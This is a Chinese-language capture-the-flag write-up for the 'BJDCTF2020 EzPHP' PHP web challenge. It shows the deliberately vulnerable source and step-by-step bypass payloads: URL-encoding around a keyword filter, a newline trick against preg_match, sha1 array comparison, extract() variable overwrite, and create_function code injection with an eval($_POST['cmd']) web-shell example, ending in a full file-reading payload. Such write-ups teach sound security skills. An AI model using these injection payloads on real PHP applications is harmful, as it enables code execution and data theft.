[BJDCTF2020]EzPHP
解碼:http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php
源代碼:
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
關於第一處限制:
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
關於$_SERVER['QUERY_STRING']
.他驗證的時候是不會進行url解碼的,但是在GET的時候則會進行url解碼,所以我們只需要將關鍵詞編碼就能繞過。
關於第二處限制:
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
preg_match
值匹配第一行,句尾加上%0a進行繞過,繞過preg_match
主要有兩種方法即換行符與PRCE回溯此處超出。
payload:dedu=aqua_is_cute%0a
關於第三處限制:
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
$_REQUEST
方式接收請求是存在優先級別的,如果同時接受GET和POST的數據,默認情況下POST具有優先權,所以只需要在get的同時post數字即可。
payload:POST:debu=1&file=1
關於第四處限制:
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
這里利用data協議即可:file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
與此同時file也需要被post一下。
關於第四處限制:
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
這里利用數組進行一下繞過就可以了,因為當sha1()的參數為數組,此時就會返回false。
payload:
shana[]=1&passwd[]=2
關於第五處限制:
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
這里利用到了create_function()
代碼注入。
create_function()
函數有兩個參數$args和$code,用於創建一個lambda樣式的函數
例如:$myfunc = create_function('$a, $b', 'return $a+$b;');
相當於:
function myfunc($a, $b){
return $a+$b;
}
與此同時當第二個參數無限制時:
$code=return $a+$b;}eval($_POST['cmd']);//
就會變成:
function myfunc($a, $b){
return $a+$b;
}
eval($_POST['cmd']);//}
看到這道題,在上一階段sha1比較的過程中,extract($_GET["flag"]);
這里我們可以進行變量覆蓋,從而掌控住arg變量與code變量。
同時根據上面的介紹我們可以通過必和符號來執行自己定義的函數:
&flag[arg]=}a();//&flag[code]=create_function
拼接過后就應該是:
function {}a();//}
這樣子了。
這個a我們是可以隨時改成其他的函數的。
但是此時很多函數都被禁用了,文件中包含了flag這個文件,利用get_defined_vars()
將所有變量與值都進行輸出,此時payload就為:
flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function
輸出出來但還不是真正的flag,提示我們是在另一個文件里面,flag4.php,此時我們可以利用require,來代替include,利用base64編碼繞過flag的過濾,利用require()來代替require" "。
payload:flag[arg]=}require(base64_decode(xxxxxxx));var_dump(get_defined_vars());//&flag[code]=create_function
非預期解:利用異或或者~進行取反操作。
最終payload:
GET:
http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);%23
POST:
debu=1&file=1